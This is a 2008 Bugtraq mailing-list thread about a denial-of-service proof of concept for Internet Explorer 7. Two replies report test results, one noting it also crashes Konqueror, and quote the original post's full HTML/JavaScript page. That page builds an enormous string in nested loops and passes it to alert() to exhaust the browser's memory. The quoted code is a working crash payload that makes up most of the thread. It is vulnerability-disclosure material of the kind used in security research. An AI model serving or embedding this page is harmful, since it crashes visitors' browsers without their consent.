Re: MS Internet Explorer 7 Denial Of Service Exploit
Neat PoC. However, this requires the users to have configured IE to run
Active-X content. On my test machines, I was prompted by the Browser
before the code ran. Surprisingly, CSA never stopped it.
I tested this on:
Internet Explorer 7 on Windows XP 32-bit w/ Cisco Security Agent
v5.0.0.176
Internet Explorer 7 on Vista 32-bit (no CSA)
Thanks,
Mike Pruett
-----Original Message-----
From: Jan van Niekerk [mailto:jvnkrk@xxxxxxxxx]
Sent: Monday, September 29, 2008 10:37 PM
To: UniquE@xxxxxxxxxxxxxx
Cc: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Re: MS Internet Explorer 7 Denial Of Service Exploit
This DOS works quite nicely on Konqueror / KDE 3.5.9 too.
jv.
On 29 Sep 2008 19:59:55 -0000, UniquE@xxxxxxxxxxxxxx
<UniquE@xxxxxxxxxxxxxx> wrote:
> <!--
>
> MS Internet Explorer 7 Denial Of Service Exploit
>
> Type :
>
> Denial Of Service
>
> Release Date :
>
> {2007-09-29}
>
> Product / Vendor :
>
> Microsoft
>
> http://www.Microsoft.com
>
> MS Internet Explorer 7 Denial Of Service Exploit :
>
> -->
>
> <title>MS Internet Explorer 7 Denial Of Service Exploit</title>
> <body bgcolor="#000000"> <br> <br> <center><font face="Verdana"
> size="2" color="#FF0000"><b>MS Internet Explorer 7 Denial Of Service
> Exploit</b></font></center> <br> <center><img
> src="http://img81.imageshack.us/img81/8881/wallpaperxl0.jpg";></center>
> <br>
> <html>
> <script>
> var x=String.fromCharCode(550);
> var x2="";
> var x3="";
> for(i=0;i<1549;i++)
> {x2=x2+x;}
> for(i=0;i<1549;i++)
> {x3=x3+x2;}
> var x4=x;
> for(i=0;i<105;i++) x4 += x4;
> for(i=0;i<165;i++) x4 += x3;
> var wildboy=escape(x4);
> alert(wildboy);
> </script>
> </html>
> <center><font face="Verdana" size="2" color="#FF0000"><b>WiLdBoY
> a.k.a UniquE-Key{UniquE-Cracker} n.s.n Mert KAYALAR</b></font> <br>
> <font face="Verdana" size="2"
> color="#FF0000"><b>UniquE@xxxxxxxxxxxxxx</b></font>
> <br>
> <font face="Verdana" size="2" color="#FF0000"><b>-Software
> Hunter-</b></font></center>
>
> <!--
>
> Tested :
>
> MS Internet Explorer 7
>
> Vulnerable :
>
> MS Internet Explorer 6
>
> MS Internet Explorer 5
>
> Author :
>
> WiLdBoY also known as UniquE-Key N.S.N Mert KAYALAR
> UniquE[at]UniquE-Key[dot]ORG -Software Hunter-
>
> -->
>